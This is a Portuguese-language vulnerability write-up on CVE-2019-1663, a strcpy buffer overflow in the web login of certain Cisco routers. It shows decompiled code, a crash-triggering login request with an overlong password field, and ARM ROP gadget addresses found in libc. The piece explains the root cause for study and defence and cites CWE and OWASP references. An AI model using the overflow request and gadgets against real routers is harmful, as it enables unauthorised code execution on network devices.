
Análise binária e exploração do CVE-2019-1663, um estouro de buffer no gerenciamento web de roteadores Cisco, incluindo causa raiz, etapas de exploração e descoberta de gadgets ROP.
Autor: Corentin Wolff
A vulnerabilidade origina-se da função 0x0002BF64, que usa indevidamente a função strcpy, tornando-a propensa a ataques de estouro de buffer. Para maior clareza, esta função foi renomeada para Login. Abaixo está um trecho ilustrando o problema:
undefined4 Login(char *param_1, char *param_2, char *param_3, int param_4) { ... }
Neste trecho, a função strcpy é usada incorretamente, causando uma vulnerabilidade de estouro de buffer:
if (param_4 == 0) {
iVar2 = strncmp(acStack_fa, "enc=", 4);
if (iVar2 != 0) {
strcpy(acStack_15e, acStack_fa);
strcpy(acStack_1c2, param_2);
goto LAB_0002c264;
}
}
Esta parte do código verifica o nome de usuário:
if (iVar2 != 0) {
syslog(6, "Web management login failed, user=%s\n", param_1);
}
O parâmetro param_1 é identificado como o campo de nome de usuário.
Da mesma forma, param_2 corresponde à senha, enquanto param_3 é identificado como httpd_user.
A variável login_flag representa estados de conexão:
0 → Erro de login
1 → Login de administrador bem-sucedido
2 → Login de administrador negado devido a uma sessão existente
3 → Login de administrador forçando logout
A vulnerabilidade é um Estouro de Buffer causado pelo uso indevido da função strcpy.
A função strcpy não verifica o tamanho da string de origem em relação à capacidade do buffer de destino. Isso permite que regiões de memória adjacentes sejam sobrescritas.
O CVE-2019-1663 explora a falta de validação de tamanho de entrada em certos modelos de roteadores Cisco.
a. No Length Check: Unsanitized user input is passed to strcpy.
b. Memory Overflow: Excess data overwrites critical memory regions.
c. Arbitrary Code Execution: Attackers inject and execute malicious code.
d. Exploitation Requirements: Access to the router's web configuration server.
e. Impact: Privileged access, enabling network espionage, traffic redirection, malware installation, or backdoors.
&enc=1&user=cisco&pwd=AAAA...AAAAZZZZ&sel_lang=EN
Isso desencadeia uma falha de segmentação. Ao determinar o tamanho ideal do buffer, os atacantes podem injetar e executar código malicioso.
ibc.so.0/ELF/ARM)> disasm_address 0x00034410
Instructions
============
0x00034410: pop {r0, pc}
(libc.so.0/ELF/ARM)> disasm_address 0x00041304
Instructions
============
0x00041304: mov r2, r0
(libc.so.0/ELF/ARM)> search %mov r2, r0%
[INFO] Searching for gadgets: %mov r2, r0%
[INFO] File: libc.so.0
0x00041304: mov r2, r0; mov r0, sp; blx r2;
MITRE CWE-120: Cópia de Buffer sem Verificação do Tamanho da Entrada
https://cwe.mitre.org/data/definitions/120.html
MITRE CWE-787: Escrita Fora dos Limites
https://cwe.mitre.org/data/definitions/787.html
Visão Geral de Estouro de Buffer da OWASP
https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
"Estouro de Buffer" no Microsoft Learn
https://learn.microsoft.com/en-us/cpp/security/security-best-practices-for-c-cpp
Padrões de Codificação Segura CERT - STR31-C
https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator
Explorando o CVE-2019-1663 - Write Up por Quentin Kaiser
https://quentinkaiser.be/exploitdev/2019/08/30/exploit-cve-2019-1663